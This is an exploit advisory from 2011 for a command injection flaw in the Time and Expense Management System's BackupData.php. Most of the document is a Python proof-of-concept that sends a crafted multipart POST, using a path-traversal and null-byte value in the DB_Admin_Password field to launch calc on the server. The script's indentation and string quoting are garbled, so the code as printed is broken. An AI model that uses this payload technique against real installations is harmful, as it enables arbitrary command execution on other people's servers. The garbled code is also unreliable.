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Time And Expense Management System Command Injection

Posted on 03 May 2011

# ------------------------------------------------------------------------
# Software................Time and Expense Management System
# Vulnerability...........Command Injection
# Threat Level............Very Critical (5/5)
# Download................http://sourceforge.net/projects/tems/
# Discovery Date..........4/27/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# A command injection vulnerability in Time and Expense Management
# System can be exploited to execute arbitrary operating system commands.
#
#
# --PoC--

import socket

host = 'localhost'
path = '/tems'
port = 80

def run_command():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

body = '------x
'\n'Content-Disposition: form-data; name="toFile"
'\n'
'\n'./a
'\n'------x
'\n'Content-Disposition: form-data; name="DB_Admin_id"
'\n'
'\n'a
'\n'------x
'\n'Content-Disposition: form-data; name="DB_Admin_Password"
'\n'
'\n'../../../../../../../calcx00a
'\n'------x--
'\n'
'


s.send('POST %s/systemadmin/BackupData.php HTTP/1.1
'
'Host: localhost
'
'Proxy-Connection: keep-alive
'
'User-Agent: x
'
'Content-Length: %d
'
'Cache-Control: max-age=0
'
'Origin: null
'
'Content-Type: multipart/form-data; boundary=----x
'
'Accept: text/html
'
'Accept-Language: en-US,en;q=0.8
'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
'
'
%s' % (path, len(body), body))

print 'request sent, check for calc using the task manger'

run_command()

 

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